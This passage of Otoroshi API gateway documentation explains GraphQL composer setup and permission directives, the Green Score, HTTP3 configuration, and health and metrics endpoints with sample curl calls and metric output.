admin-api-apikey-id:admin-api-apikey-secret\n```\n\n### Configure our countries API \n\nLet's continue our API by updating the configuration of the GraphQL plugin with the initial schema.\n\n```sh\ncurl -X PUT 'http://otoroshi-api.oto.tools:8080/api/routes/countries-api' \\\n -d '{\n \"id\": \"countries-api\",\n \"name\": \"My countries API\",\n \"frontend\": {\n \"domains\": [\n \"countries.oto.tools\"\n ]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"mirror.otoroshi.io\",\n \"port\": 443,\n \"tls\": true\n }\n ],\n \"load_balancing\": {\n \"type\": \"RoundRobin\"\n }\n },\n \"plugins\": [\n {\n \"enabled\": true,\n \"plugin\": \"cp:otoroshi.next.plugins.GraphQLBackend\",\n \"config\": {\n \"schema\": \"type Country {\\n name: String\\n users: [User] @rest(url: \\\"http://localhost:8181/countries/${item.name}/users\\\", headers: \\\"{}\\\")\\n}\\n\\ntype Query {\\n users: [User] @rest(url: \\\"http://localhost:8181/users\\\", paginate: true, headers: \\\"{}\\\")\\n user(id: String): User @rest(url: \\\"http://localhost:8181/users/${params.id}\\\")\\n countries: [Country] @graphql(url: \\\"https://countries.trevorblades.com\\\", query: \\\"{ countries { name }}\\\", paginate: true)\\ntype User {\\n name: String\\n password: String }\\n\"\n }\n }\n ]\n}' \\\n -H \"Content-type: application/json\" \\\n -u admin-api-apikey-id:admin-api-apikey-secret\n```\n\nOur created route expects an API, exposed on the localhost:8181, designed to retrieve users based on their countries. \n\nLet's develop this API using NodeJS. The API uses express as http server.\n\n```js\nconst express = require('express')\n\nconst app = express()\n\nconst users = [\n {\n name: 'Joe',\n password: 'password'\n },\n {\n name: 'John',\n password: 'password2'\n }\n]\n\nconst countries = [\n {\n name: 'Andorra',\n users: [users[0]]\n },\n {\n name: 'United Arab Emirates',\n users: [users[1]]\n }\n]\n\napp.get('/users', (_, res) => {\n return res.json(users)\n})\n\napp.get(`/users/:name`, (req, res) => {\n res.json(users.find(u => u.name === req.params.name))\n})\n\napp.get('/countries/:id/users', (req, res) => {\n const country = countries.find(c => c.name === req.params.id)\n\n if (country) \n return res.json(country.users)\n else \n return res.json([])\n})\n\napp.listen(8181, () => {\n console.log(`Listening on 8181`)\n});\n\n```\n\nLet's initiate our first request to the countries API.\n\n```sh\ncurl 'countries.oto.tools:9999/' \\\n--header 'Content-Type: application/json' \\\n--data-binary @- << EOF\n{\n \"query\": \"{\\n countries {\\n name\\n users {\\n name\\n }\\n }\\n}\"\n}\nEOF\n```\n\nYou should see the following content in your terminal.\n\n```json\n{\n \"data\": { \n \"countries\": [\n { \n \"name\":\"Andorra\",\n \"users\": [\n { \"name\":\"Joe\" }\n ]\n }\n ]\n }\n}\n```\n\nThe call graph should looks like\n\n\n1. Initiate a request to https://countries.trevorblades.com\n2. For each country retrieved:\n - extract the `name` field\n - sends a request to http://localhost:8181/countries/${country}/users to retrieve the list of users associated with this country.\n\nYou may have noticed that we appended an argument called `pagniate` to the end of the graphql directive. This argument enables pagination for the client, allowing it to accept parameters such as limit and offset. The plugin utilizes these parameters to filter and streamline the content.\n\nLet's initiate a new call that doesn't specify any country.\n\n```sh\ncurl 'countries.oto.tools:9999/' \\\n--header 'Content-Type: application/json' \\\n--data-binary @- << EOF\n{\n \"query\": \"{\\n countries(limit: 0) {\\n name\\n users {\\n name\\n }\\n }\\n}\"\n}\nEOF\n```\n\nYou should see the following content in your terminal.\n\n```json\n{\n \"data\": { \n \"countries\": []\n }\n}\n```\n\nLet's move on to the next section to secure sensitive field of our API.\n\n### Basics of permissions \n\nThe permission directives have been established to safeguard the fields within the GraphQL schema. The validation process commences by generating a context for all incoming requests, derived from the list of paths specified in the permissions field of the plugin. These permissions paths can reference various components of the request data (such as URL, headers, etc.), user credentials (such as API key, etc.), and details regarding the matched route. Subsequently, the process verifies that the specified value or values are present within the context.\n\n@@@div { .simple-block }\n\n
\nPermission\n\n
\n\n*Arguments : value and unauthorized_value*\n\nThe permission directive is designed to to secure a field on **one** value. The directive checks that a specific value is present in the `context`.\n\nTwo arguments are available : `value` which is mandatory and specifies the expected value. Optionally, `unauthorized_value`, which can be utilized to indicate the rejection message in the outgoing response.\n\n**Example**\n```js\ntype User {\n id: String @permission(\n value: \"FOO\", \n unauthorized_value: \"You're not authorized to get this field\")\n}\n```\n@@@\n\n@@@div { .simple-block }\n\n
\nAll permissions\n\n
\n\n*Arguments : values and unauthorized_value*\n\nThis directive is presumably the same as the previous one except that it takes a list of values.\n\n**Example**\n```js\ntype User {\n id: String @allpermissions(\n values: [\"FOO\", \"BAR\"], \n unauthorized_value: \"FOO and BAR could not be found\")\n}\n```\n@@@\n\n@@@div { .simple-block }\n\n
\nOne permissions of\n\n
\n*Arguments : values and unauthorized_value*\n\nThis directive takes a list of values and validate that one of them is in the context.\n\n**Example**\n```js\ntype User {\n id: String @onePermissionsOf(\n values: [\"FOO\", \"BAR\"], \n unauthorized_value: \"FOO or BAR could not be found\")\n}\n```\n@@@\n\n@@@div { .simple-block }\n\n
\nAuthorize\n\n
\n\n*Arguments : path, value and unauthorized_value*\n\nThe authorize directive has one more required argument, named `path`, which indicates the path to value, in the context. Unlike the last three directives, the authorize directive doesn't search in the entire context but at the specified path.\n\n**Example**\n```js\ntype User {\n id: String @authorize(\n path: \"$.raw_request.headers.foo\", \n value: \"BAR\", \n unauthorized_value: \"Bar could not be found in the foo header\")\n}\n```\n@@@\n\nLet's restrict the password field to the users that comes with a `role` header of the value `ADMIN`.\n\n1. Patch the configuration of the API by adding the permissions in the configuration of the plugin.\n```json\n...\n \"permissions\": [\"$.raw_request.headers.role\"]\n...\n```\n\n1. Add an directive on the password field in the schema\n```graphql\ntype User {\n name: String\n password: String @permission(value: \"ADMIN\")\n}\n```\n\nLet's make a call with the role header\n\n```sh\ncurl 'countries.oto.tools:9999/' \\\n--header 'Content-Type: application/json' \\\n--header 'role: ADMIN'\n--data-binary @- << EOF\n{\n \"query\": \"{\\n countries(limit: 0) {\\n name\\n users {\\n name\\n password\\n }\\n }\\n}\"\n}\nEOF\n```\n\nNow try to change the value of the role header\n\n```sh\ncurl 'countries.oto.tools:9999/' \\\n--header 'Content-Type: application/json' \\\n--header 'role: USER'\n--data-binary @- << EOF\n{\n \"query\": \"{\\n countries(limit: 0) {\\n name\\n users {\\n name\\n password\\n }\\n }\\n}\"\n}\nEOF\n```\n\nThe error message should look like \n\n```json\n{\n \"errors\": [\n {\n \"message\": \"You're not authorized\",\n \"path\": [\n \"countries\",\n 0,\n \"users\",\n 0,\n \"password\"\n ],\n ...\n }\n ]\n}\n```\n\n\n# Glossary\n\n## Directives\n\n@@@div { .simple-block }\n\n
\nRest\n\n
\n\n*Arguments : url, method, headers, timeout, data, response_path, response_filter, limit, offset, paginate*\n\nThe rest directive is used to expose servers that communicate using the http protocol. The only required argument is the `url`.\n\n**Example**\n```js\ntype Query {\n users(limit: Int, offset: Int): [User] @rest(url: \"http://foo.oto.tools/users\", method: \"GET\")\n}\n```\n\nIt can be placed on the field of a query and type. To custom your url queries, you can use the path parameter and another field with respectively, `params` and `item` variables.\n\n**Example**\n```js\ntype Country {\n name: String\n phone: String\n users: [User] @rest(url: \"http://foo.oto.tools/users/${item.name}\")\n}\n\ntype Query {\n user(id: String): User @rest(url: \"http://foo.oto.tools/users/${params.id}\")\n}\n```\n@@@\n\n@@@div { .simple-block }\n\n
\nGraphQL\n\n
\n\n*Arguments : url, method, headers, timeout, query, data, response_path, response_filter, limit, offset, paginate*\n\nThe rest directive is used to call an other graphql server.\n\nThe required argument are the `url` and the `query`.\n\n**Example**\n```js\ntype Query {\n countries: [Country] @graphql(url: \"https://countries.trevorblades.com/\", query: \"{ countries { name phone }}\")\n}\n\ntype Country {\n name: String\n phone: String\n}\n```\n@@@\n\n@@@div { .simple-block }\n\n
\nSoap\n\n
\n*Arguments: all following arguments*\n\nThe soap directive is used to call a soap service. \n\n```js\ntype Query {\n randomNumber: String @soap(\n jq_response_filter: \".[\\\"soap:Envelope\\\"] | .[\\\"soap:Body\\\"] | .[\\\"m:NumberToWordsResponse\\\"] | .[\\\"m:NumberToWordsResult\\\"]\", \n url: \"https://www.dataaccess.com/webservicesserver/numberconversion.wso\", \n envelope: \" \\n \\n \\n \\n 12 \\n \\n \\n\")\n}\n```\n\n\n##### Specific arguments\n\n| Argument | Type | Optional | Default value |\n| --------------------------- | --------- | -------- | ------------- |\n| envelope | *STRING* | Required | |\n| url | *STRING* | x | |\n| action | *STRING* | x | |\n| preserve_query | *BOOLEAN* | Required | true |\n| charset | *STRING* | x | |\n| convert_request_body_to_xml | *BOOLEAN* | Required | true |\n| jq_request_filter | *STRING* | x | |\n| jq_response_filter | *STRING* | x | |\n\n@@@\n\n@@@div { .simple-block }\n\n
\nJSON\n\n
\n*Arguments: path, json, paginate*\n\nThe json directive can be used to expose static data or mocked data. The first usage is to defined a raw stringify JSON in the `data` argument. The second usage is to set data in the predefined field of the GraphQL plugin composer and to specify a path in the `path` argument.\n\n**Example**\n```js\ntype Query {\n users_from_raw_data: [User] @json(data: \"[{\\\"firstname\\\":\\\"Foo\\\",\\\"name\\\":\\\"Bar\\\"}]\")\n users_from_predefined_data: [User] @json(path: \"users\")\n}\n```\n@@@\n\n@@@div { .simple-block }\n\n
\nMock\n\n
\n*Arguments: url*\n\nThe mock directive is to used with the Mock Responses Plugin, also named `Charlatan`. This directive can be interesting to mock your schema and start to use your Otoroshi route before starting to develop the underlying service.\n\n**Example**\n```js\ntype Query {\n users: @mock(url: \"/users\")\n}\n```\n\nThis example supposes that the Mock Responses plugin is set on the route's feed, and that an endpoint `/users` is available.\n\n@@@\n\n### List of directive arguments\n\n| Argument | Type | Optional | Default value |\n| ------------------ | ---------------- | --------------------------- | ------------- |\n| url | *STRING* | | |\n| method | *STRING* | x | GET |\n| headers | *STRING* | x | |\n| timeout | *INT* | x | 5000 |\n| data | *STRING* | x | |\n| path | *STRING* | x (only for json directive) | |\n| query | *STRING* | x | |\n| response_path | *STRING* | x | |\n| response_filter | *STRING* | x | |\n| limit | *INT* | x | |\n| offset | *INT* | x | |\n| value | *STRING* | | |\n| values | LIST of *STRING* | |\n| path | *STRING* | | |\n| paginate | *BOOLEAN* | x | |\n| unauthorized_value | *STRING* | x (only for permissions directive) | |\n"},{"name":"green-score.md","id":"/topics/green-score.md","url":"/topics/green-score.html","title":"Green Score","content":"# Green Score\n\nThe Green Score provide aggregated, quantitative data about the performance and behavior of an API over time. It is an aggregation of static and dynamic values that are coming from the usage of routes in Otoroshi. The main objective is to advise users on the consumption of their APIs and services.\n\n\n\nOtoroshi has a complete integration of the collective rules, divided into four concerns: **Architecture**, **Design**, **Usage** and **Logs retention**. The 6000 score points are spread over the four parts and a final note is given for each group of routes.\n\nThe API green score is available on 16.9.0 or later version of Otoroshi. You can find the feature on the search bar of your Otoroshi UI or directly in the sidebar by clicking on **Green score**.\n\nTo start the process, click on Add New Group, give a name and select a first route to audit. After clicking on the hammer icon, you can select the rules respected by your route. Before saving, you can adjust the values used to calculate the dynamic score. These thresholds are used to calculate a second green score depending on the amount of data you want not to exceed from your downstream service and the following other values: \n\n* **Overhead**: Otoroshi's calculation time to handle the request and response\n* **Duration**: the complete duration from the recpetion of the request by Otoroshi until the client gets a response\n* **Backend duration**: the time required for downstream service to respond to Otoroshi\n* **Calls**: the rate of calls by seconds\n* **Data in**: the amount of data received by the downstream service\n* **Data out**: the amount of data produced by the downstream service\n* **Headers in**: the amount of headers received by the downstream service\n* **Headers out**: the amount of headers produced by the downstream service\n\nThe Green Score works for all architectures, including simple leader or more advanced concept like [clustering](https://maif.github.io/otoroshi/manual/deploy/clustering.html)."},{"name":"http3.md","id":"/topics/http3.md","url":"/topics/http3.html","title":"HTTP3 support","content":"# HTTP3 support\n\n@@include[experimental.md](../includes/experimental.md) { .experimental-feature }\n\nHTTP3 server and client previews are available in otoroshi since version 1.5.14\n\n\n## Server\n\nto enable http3 server preview, you need to enable the following flags\n\n```conf\notoroshi.next.experimental.netty-server.enabled = true\notoroshi.next.experimental.netty-server.http3.enabled = true\notoroshi.next.experimental.netty-server.http3.port = 10048\n```\n\nthen you will be able to send HTTP3 request on port 10048. For instance, using [quiche-client](https://github.com/cloudflare/quiche)\n\n```sh\ncargo run --bin quiche-client -- --no-verify 'https://my-service.oto.tools:10048'\n```\n\n## Client\n\nto consume services exposed with HTTP3, just select the `HTTP/3.0` protocol in the backend target."},{"name":"index.md","id":"/topics/index.md","url":"/topics/index.html","title":"Detailed topics","content":"# Detailed topics\n\nIn this sections, you will find informations about various Otoroshi topics \n\n* @ref:[Proxy engine](./engine.md)\n* @ref:[WASM support](./wasm-usage.md)\n* @ref:[Chaos engineering](./chaos-engineering.md)\n* @ref:[TLS](./tls.md)\n* @ref:[Otoroshi's PKI](./pki.md)\n* @ref:[Monitoring](./monitoring.md)\n* @ref:[Events and analytics](./events-and-analytics.md)\n* @ref:[Developer portal with Daikoku](./dev-portal.md)\n* @ref:[Sessions management](./sessions-mgmt.md)\n* @ref:[The Otoroshi communication protocol](./otoroshi-protocol.md)\n* @ref:[Expression language](./expression-language.md)\n* @ref:[Otoroshi user rights](./user-rights.md)\n* @ref:[GraphQL composer](./graphql-composer.md)\n* @ref:[Secret vaults](./secrets.md)\n* @ref:[Otoroshi tunnels](./tunnels.md)\n* @ref:[Relay routing](./relay-routing.md)\n* @ref:[Alternative http backend](./netty-server.md)\n* @ref:[HTTP3 support](./http3.md)\n* @ref:[Anonymous reporting](./anonymous-reporting.md)\n* @ref:[OpenTelemetry support](./opentelemetry.md)\n* @ref:[Green score](./green-score.md)\n\n@@@ index\n\n* [Proxy engine](./engine.md)\n* [WASM support](./wasm-usage.md)\n* [Chaos engineering](./chaos-engineering.md)\n* [TLS](./tls.md)\n* [Otoroshi's PKI](./pki.md)\n* [Monitoring](./monitoring.md)\n* [Events and analytics](./events-and-analytics.md)\n* [Developer portal with Daikoku](./dev-portal.md)\n* [Sessions management](./sessions-mgmt.md)\n* [The Otoroshi communication protocol](./otoroshi-protocol.md)\n* [Expression language](./expression-language.md)\n* [Otoroshi user rights](./user-rights.md)\n* [GraphQL composer](./graphql-composer.md)\n* [Secret vaults](./secrets.md)\n* [Otoroshi tunnels](./tunnels.md)\n* [Relay routing](./relay-routing.md)\n* [Alternative http backend](./netty-server.md)\n* [HTTP3 support](./http3.md)\n* [Anonymous reporting](./anonymous-reporting.md)\n* [OpenTelemetry support](./opentelemetry.md)\n* [Green score](./green-score.md)\n \n@@@\n"},{"name":"monitoring.md","id":"/topics/monitoring.md","url":"/topics/monitoring.html","title":"Monitoring","content":"# Monitoring\n\nThe Otoroshi API exposes two endpoints to know more about instance health. All the following endpoint are exposed on the instance host through it's ip address. It is also exposed on the otoroshi api hostname and the otoroshi backoffice hostname\n\n* `/health`: the health of the Otoroshi instance\n* `/metrics`: the metrics of the Otoroshi instance, either in JSON or Prometheus format using the `Accept` header (with `application/json` / `application/prometheus` values) or the `format` query param (with `json` or `prometheus` values)\n* `/live`: returns an http 200 response `{\"live\": true}` when the service is alive\n* `/ready`: return an http 200 response `{\"ready\": true}` when the instance is ready to accept traffic (certs synced, plugins compiled, etc). if not, returns http 503 `{\"ready\": false}`\n* `/startup`: return an http 200 response `{\"started\": true}` when the instance is ready to accept traffic (certs synced, plugins compiled, etc). if not, returns http 503 `{\"started\": false}`\n\nthose routes are also available on any hostname leading to otoroshi with a twist in the URL\n\n* http://xxxxxxxx.xxxxx.xx/.well-known/otoroshi/monitoring/health\n* http://xxxxxxxx.xxxxx.xx/.well-known/otoroshi/monitoring/metrics\n* http://xxxxxxxx.xxxxx.xx/.well-known/otoroshi/monitoring/live\n* http://xxxxxxxx.xxxxx.xx/.well-known/otoroshi/monitoring/ready\n* http://xxxxxxxx.xxxxx.xx/.well-known/otoroshi/monitoring/startup\n\n## Endpoints security\n\nThe two endpoints are exposed publicly on the Otoroshi admin api. But you can remove the corresponding public pattern and query the endpoints using standard apikeys. If you don't want to use apikeys but don't want to expose the endpoints publicly, you can defined two config. variables (`otoroshi.health.accessKey` or `HEALTH_ACCESS_KEY` and `otoroshi.metrics.accessKey` or `OTOROSHI_METRICS_ACCESS_KEY`) that will hold an access key for the endpoints. Then you can call the endpoints with an `access_key` query param with the value defined in the config. If you don't defined `otoroshi.metrics.accessKey` but define `otoroshi.health.accessKey`, `otoroshi.metrics.accessKey` will have the value of `otoroshi.health.accessKey`.\n \n## Examples\n\nlet say `otoroshi.health.accessKey` has value `MILpkVv6f2kG9Xmnc4mFIYRU4rTxHVGkxvB0hkQLZwEaZgE2hgbOXiRsN1DBnbtY`\n\n```sh\n$ curl http://otoroshi-api.oto.tools:8080/health\\?access_key\\=MILpkVv6f2kG9Xmnc4mFIYRU4rTxHVGkxvB0hkQLZwEaZgE2hgbOXiRsN1DBnbtY\n{\"otoroshi\":\"healthy\",\"datastore\":\"healthy\"}\n\n$ curl -H 'Accept: application/json' http://otoroshi-api.oto.tools:8080/metrics\\?access_key\\=MILpkVv6f2kG9Xmnc4mFIYRU4rTxHVGkxvB0hkQLZwEaZgE2hgbOXiRsN1DBnbtY\n{\"version\":\"4.0.0\",\"gauges\":{\"attr.app.commit\":{\"value\":\"xxxx\"},\"attr.app.id\":{\"value\":\"xxxx\"},\"attr.cluster.mode\":{\"value\":\"Leader\"},\"attr.cluster.name\":{\"value\":\"otoroshi-leader-0\"},\"attr.instance.env\":{\"value\":\"prod\"},\"attr.instance.id\":{\"value\":\"xxxx\"},\"attr.instance.number\":{\"value\":\"0\"},\"attr.jvm.cpu.usage\":{\"value\":136},\"attr.jvm.heap.size\":{\"value\":1409},\"attr.jvm.heap.used\":{\"value\":112},\"internals.0.concurrent-requests\":{\"value\":1},\"internals.global.throttling-quotas\":{\"value\":2},\"jvm.attr.name\":{\"value\":\"2085@xxxx\"},\"jvm.attr.uptime\":{\"value\":2296900},\"jvm.attr.vendor\":{\"value\":\"JDK11\"},\"jvm.gc.PS-MarkSweep.count\":{\"value\":3},\"jvm.gc.PS-MarkSweep.time\":{\"value\":261},\"jvm.gc.PS-Scavenge.count\":{\"value\":12},\"jvm.gc.PS-Scavenge.time\":{\"value\":161},\"jvm.memory.heap.committed\":{\"value\":1477967872},\"jvm.memory.heap.init\":{\"value\":1690304512},\"jvm.memory.heap.max\":{\"value\":3005218816},\"jvm.memory.heap.usage\":{\"value\":0.03916456777568639},\"jvm.memory.heap.used\":{\"value\":117698096},\"jvm.memory.non-heap.committed\":{\"value\":166445056},\"jvm.memory.non-heap.init\":{\"value\":7667712},\"jvm.memory.non-heap.max\":{\"value\":994050048},\"jvm.memory.non-heap.usage\":{\"value\":0.1523920694986979},\"jvm.memory.non-heap.used\":{\"value\":151485344},\"jvm.memory.pools.CodeHeap-'non-nmethods'.committed\":{\"value\":2555904},\"jvm.memory.pools.CodeHeap-'non-nmethods'.init\":{\"value\":2555904},\"jvm.memory.pools.CodeHeap-'non-nmethods'.max\":{\"value\":5832704},\"jvm.memory.pools.CodeHeap-'non-nmethods'.usage\":{\"value\":0.28408093398876405},\"jvm.memory.pools.CodeHeap-'non-nmethods'.used\":{\"value\":1656960},\"jvm.memory.pools.CodeHeap-'non-profiled-nmethods'.committed\":{\"value\":11796480},\"jvm.memory.pools.CodeHeap-'non-profiled-nmethods'.init\":{\"value\":2555904},\"jvm.memory.pools.CodeHeap-'non-profiled-nmethods'.max\":{\"value\":122912768},\"jvm.memory.pools.CodeHeap-'non-profiled-nmethods'.usage\":{\"value\":0.09536102872567315},\"jvm.memory.pools.CodeHeap-'non-profiled-nmethods'.used\":{\"value\":11721088},\"jvm.memory.pools.CodeHeap-'profiled-nmethods'.committed\":{\"value\":37355520},\"jvm.memory.pools.CodeHeap-'profiled-nmethods'.init\":{\"value\":2555904},\"jvm.memory.pools.CodeHeap-'profiled-nmethods'.max\":{\"value\":122912768},\"jvm.memory.pools.CodeHeap-'profiled-nmethods'.usage\":{\"value\":0.2538573047187417},\"jvm.memory.pools.CodeHeap-'profiled-nmethods'.used\":{\"value\":31202304},\"jvm.memory.pools.Compressed-Class-Space.committed\":{\"value\":14942208},\"jvm.memory.pools.Compressed-Class-Space.init\":{\"value\":0},\"jvm.memory.pools.Compressed-Class-Space.max\":{\"value\":367001600},\"jvm.memory.pools.Compressed-Class-Space.usage\":{\"value\":0.033858838762555805},\"jvm.memory.pools.Compressed-Class-Space.used\":{\"value\":12426248},\"jvm.memory.pools.Metaspace.committed\":{\"value\":99794944},\"jvm.memory.pools.Metaspace.init\":{\"value\":0},\"jvm.memory.pools.Metaspace.max\":{\"value\":375390208},\"jvm.memory.pools.Metaspace.usage\":{\"value\":0.25168142904782426},\"jvm.memory.pools.Metaspace.used\":{\"value\":94478744},\"jvm.memory.pools.PS-Eden-Space.committed\":{\"value\":349700096},\"jvm.memory.pools.PS-Eden-Space.init\":{\"value\":422576128},\"jvm.memory.pools.PS-Eden-Space.max\":{\"value\":1110966272},\"jvm.memory.pools.PS-Eden-Space.usage\":{\"value\":0.07505125052077188},\"jvm.memory.pools.PS-Eden-Space.used\":{\"value\":83379408},\"jvm.memory.pools.PS-Eden-Space.used-after-gc\":{\"value\":0},\"jvm.memory.pools.PS-Old-Gen.committed\":{\"value\":1127219200},\"jvm.memory.pools.PS-Old-Gen.init\":{\"value\":1127219200},\"jvm.memory.pools.PS-Old-Gen.max\":{\"value\":2253914112},\"jvm.memory.pools.PS-Old-Gen.usage\":{\"value\":0.014950035505168354},\"jvm.memory.pools.PS-Old-Gen.used\":{\"value\":33696096},\"jvm.memory.pools.PS-Old-Gen.used-after-gc\":{\"value\":23791152},\"jvm.memory.pools.PS-Survivor-Space.committed\":{\"value\":1048576},\"jvm.memory.pools.PS-Survivor-Space.init\":{\"value\":70254592},\"jvm.memory.pools.PS-Survivor-Space.max\":{\"value\":1048576},\"jvm.memory.pools.PS-Survivor-Space.usage\":{\"value\":0.59375},\"jvm.memory.pools.PS-Survivor-Space.used\":{\"value\":622592},\"jvm.memory.pools.PS-Survivor-Space.used-after-gc\":{\"value\":622592},\"jvm.memory.total.committed\":{\"value\":1644412928},\"jvm.memory.total.init\":{\"value\":1697972224},\"jvm.memory.total.max\":{\"value\":3999268864},\"jvm.memory.total.used\":{\"value\":269184904},\"jvm.thread.blocked.count\":{\"value\":0},\"jvm.thread.count\":{\"value\":82},\"jvm.thread.daemon.count\":{\"value\":11},\"jvm.thread.deadlock.count\":{\"value\":0},\"jvm.thread.deadlocks\":{\"value\":[]},\"jvm.thread.new.count\":{\"value\":0},\"jvm.thread.runnable.count\":{\"value\":25},\"jvm.thread.terminated.count\":{\"value\":0},\"jvm.thread.timed_waiting.count\":{\"value\":10},\"jvm.thread.waiting.count\":{\"value\":47}},\"counters\":{},\"histograms\":{},\"meters\":{},\"timers\":{}}\n\n$ curl -H 'Accept: application/prometheus' http://otoroshi-api.oto.tools:8080/metrics\\?access_key\\=MILpkVv6f2kG9Xmnc4mFIYRU4rTxHVGkxvB0hkQLZwEaZgE2hgbOXiRsN1DBnbtY\n# TYPE attr_jvm_cpu_usage gauge\nattr_jvm_cpu_usage 83.0\n# TYPE attr_jvm_heap_size gauge\nattr_jvm_heap_size 1409.0\n# TYPE attr_jvm_heap_used gauge\nattr_jvm_heap_used 220.0\n# TYPE internals_0_concurrent_requests gauge\ninternals_0_concurrent_requests 1.0\n# TYPE internals_global_throttling_quotas gauge\ninternals_global_throttling_quotas 3.0\n# TYPE jvm_attr_uptime gauge\njvm_attr_uptime 2372614.0\n# TYPE jvm_gc_PS_MarkSweep_count gauge\njvm_gc_PS_MarkSweep_count 3.0\n# TYPE jvm_gc_PS_MarkSweep_time gauge\njvm_gc_PS_MarkSweep_time 261.0\n# TYPE jvm_gc_PS_Scavenge_count gauge\njvm_gc_PS_Scavenge_count 12.0\n# TYPE jvm_gc_PS_Scavenge_time gauge\njvm_gc_PS_Scavenge_time 161.0\n# TYPE jvm_memory_heap_committed gauge\njvm_memory_heap_committed 1.477967872E9\n# TYPE jvm_memory_heap_init gauge\njvm_memory_heap_init 1.690304512E9\n# TYPE jvm_memory_heap_max gauge\njvm_memory_heap_max 3.005218816E9\n# TYPE jvm_memory_heap_usage gauge\njvm_memory_heap_usage 0.07680553268571043\n# TYPE jvm_memory_heap_used gauge\njvm_memory_heap_used 2.30817432E8\n# TYPE jvm_memory_non_heap_committed gauge\njvm_memory_non_heap_committed 1.66510592E8\n# TYPE jvm_memory_non_heap_init gauge\njvm_memory_non_heap_init 7667712.0\n# TYPE jvm_memory_non_heap_max gauge\njvm_memory_non_heap_max 9.94050048E8\n# TYPE jvm_memory_non_heap_usage gauge\njvm_memory_non_heap_usage 0.15262878997416435\n# TYPE jvm_memory_non_heap_used gauge\njvm_memory_non_heap_used 1.51720656E8\n# TYPE jvm_memory_pools_CodeHeap__non_nmethods__committed gauge\njvm_memory_pools_CodeHeap__non_nmethods__committed 2555904.0\n# TYPE jvm_memory_pools_CodeHeap__non_nmethods__init gauge\njvm_memory_pools_CodeHeap__non_nmethods__init 2555904.0\n# TYPE jvm_memory_pools_CodeHeap__non_nmethods__max gauge\njvm_memory_pools_CodeHeap__non_nmethods__max 5832704.0\n# TYPE jvm_memory_pools_CodeHeap__non_nmethods__usage gauge\njvm_memory_pools_CodeHeap__non_nmethods__usage 0.28408093398876405\n# TYPE jvm_memory_pools_CodeHeap__non_nmethods__used gauge\njvm_memory_pools_CodeHeap__non_nmethods__used 1656960.0\n# TYPE jvm_memory_pools_CodeHeap__non_profiled_nmethods__committed gauge\njvm_memory_pools_CodeHeap__non_profiled_nmethods__committed 1.1862016E7\n# TYPE jvm_memory_pools_CodeHeap__non_profiled_nmethods__init gauge\njvm_memory_pools_CodeHeap__non_profiled_nmethods__init 2555904.0\n# TYPE jvm_memory_pools_CodeHeap__non_profiled_nmethods__max gauge\njvm_memory_pools_CodeHeap__non_profiled_nmethods__max 1.22912768E8\n# TYPE jvm_memory_pools_CodeHeap__non_profiled_nmethods__usage gauge\njvm_memory_pools_CodeHeap__non_profiled_nmethods__usage 0.09610562183417755\n# TYPE jvm_memory_pools_CodeHeap__non_profiled_nmethods__used gauge\njvm_memory_pools_CodeHeap__non_profiled_nmethods__used 1.1812608E7\n# TYPE jvm_memory_pools_CodeHeap__profiled_nmethods__committed gauge\njvm_memory_pools_CodeHeap__profiled_nmethods__committed 3.735552E7\n# TYPE jvm_memory_pools_CodeHeap__profiled_nmethods__init gauge\njvm_memory_pools_CodeHeap__profiled_nmethods__init 2555904.0\n# TYPE jvm_memory_pools_CodeHeap__profiled_nmethods__max gauge\njvm_memory_pools_CodeHeap__profiled_nmethods__max 1.22912768E8\n# TYPE jvm_memory_pools_CodeHeap__profiled_nmethods__usage gauge\njvm_memory_pools_CodeHeap__profiled_nmethods__usage 0.25493618368435084\n# TYPE jvm_memory_pools_CodeHeap__profiled_nmethods__used gauge\njvm_memory_pools_CodeHeap__profiled_nmethods__used 3.1334912E7\n# TYPE jvm_memory_pools_Compressed_Class_Space_committed gauge\njvm_memory_pools_Compressed_Class_Space_committed 1.4942208E7\n# TYPE jvm_memory_pools_Compressed_Class_Space_init gauge\njvm_memory_pools_Compressed_Class_Space_init 0.0\n# TYPE jvm_memory_pools_Compressed_Class_Space_max gauge\njvm_memory_pools_Compressed_Class_Space_max 3.670016E8\n# TYPE jvm_memory_pools_Compressed_Class_Space_usage gauge\njvm_memory_pools_Compressed_Class_Space_usage 0.03386023385184152\n# TYPE jvm_memory_pools_Compressed_Class_Space_used gauge\njvm_memory_pools_Compressed_Class_Space_used 1.242676E7\n# TYPE jvm_memory_pools_Metaspace_committed gauge\njvm_memory_pools_Metaspace_committed 9.9794944E7\n# TYPE jvm_memory_pools_Metaspace_init gauge\njvm_memory_pools_Metaspace_init 0.0\n# TYPE jvm_memory_pools_Metaspace_max gauge\njvm_memory_pools_Metaspace_max 3.75390208E8\n# TYPE jvm_memory_pools_Metaspace_usage gauge\njvm_memory_pools_Metaspace_usage 0.25170985813247426\n# TYPE jvm_memory_pools_Metaspace_used gauge\njvm_memory_pools_Metaspace_used 9.4489416E7\n# TYPE jvm_memory_pools_PS_Eden_Space_committed gauge\njvm_memory_pools_PS_Eden_Space_committed 3.49700096E8\n# TYPE jvm_memory_pools_PS_Eden_Space_init gauge\njvm_memory_pools_PS_Eden_Space_init 4.22576128E8\n# TYPE jvm_memory_pools_PS_Eden_Space_max gauge\njvm_memory_pools_PS_Eden_Space_max 1.110966272E9\n# TYPE jvm_memory_pools_PS_Eden_Space_usage gauge\njvm_memory_pools_PS_Eden_Space_usage 0.17698545577448457\n# TYPE jvm_memory_pools_PS_Eden_Space_used gauge\njvm_memory_pools_PS_Eden_Space_used 1.96624872E8\n# TYPE jvm_memory_pools_PS_Eden_Space_used_after_gc gauge\njvm_memory_pools_PS_Eden_Space_used_after_gc 0.0\n# TYPE jvm_memory_pools_PS_Old_Gen_committed gauge\njvm_memory_pools_PS_Old_Gen_committed 1.1272192E9\n# TYPE jvm_memory_pools_PS_Old_Gen_init gauge\njvm_memory_pools_PS_Old_Gen_init 1.1272192E9\n# TYPE jvm_memory_pools_PS_Old_Gen_max gauge\njvm_memory_pools_PS_Old_Gen_max 2.253914112E9\n# TYPE jvm_memory_pools_PS_Old_Gen_usage gauge\njvm_memory_pools_PS_Old_Gen_usage 0.014950035505168354\n# TYPE jvm_memory_pools_PS_Old_Gen_used gauge\njvm_memory_pools_PS_Old_Gen_used 3.3696096E7\n# TYPE jvm_memory_pools_PS_Old_Gen_used_after_gc gauge\njvm_memory_pools_PS_Old_Gen_used_after_gc 2.3791152E7\n# TYPE jvm_memory_pools_PS_Survivor_Space_committed gauge\njvm_memory_pools_PS_Survivor_Space_committed 1048576.0\n# TYPE 